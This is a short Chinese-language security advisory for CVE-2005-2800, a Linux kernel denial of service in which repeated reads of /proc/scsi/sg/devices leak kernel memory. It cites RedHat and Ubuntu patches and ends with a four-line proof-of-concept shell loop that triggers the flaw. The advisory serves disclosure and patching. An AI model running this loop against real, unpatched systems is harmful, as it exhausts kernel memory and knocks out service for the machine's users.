BUGTRAQ ID: 14790
CVE(CAN) ID: CVE-2005-2800
Linux Kernel是开放源码操作系统Linux所使用的内核。
Linux Kernel的SCSI驱动的procfs接口中存在拒绝服务漏洞。本地攻击者可以反复读取/proc/scsi/sg/devices,而next() iterator返回NULL或错误时没有正确的处理这种情况,耗尽kernel内存,导致拒绝服务。
RedHat已经为此发布了一个安全公告(RHSA-2006:0101-01)以及相应补丁:
RHSA-2006:0101-01:Important: kernel security update
链接:<a href=“http://lwn.net/Alerts/168077/?format=printable” target=“_blank”>http://lwn.net/Alerts/168077/?format=printable</a>
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
<a href=“http://www.ubuntulinux.org/” target=“_blank”>http://www.ubuntulinux.org/</a>
#!/bin/sh
while true; do
cat /proc/scsi/sg/devices > /dev/null
done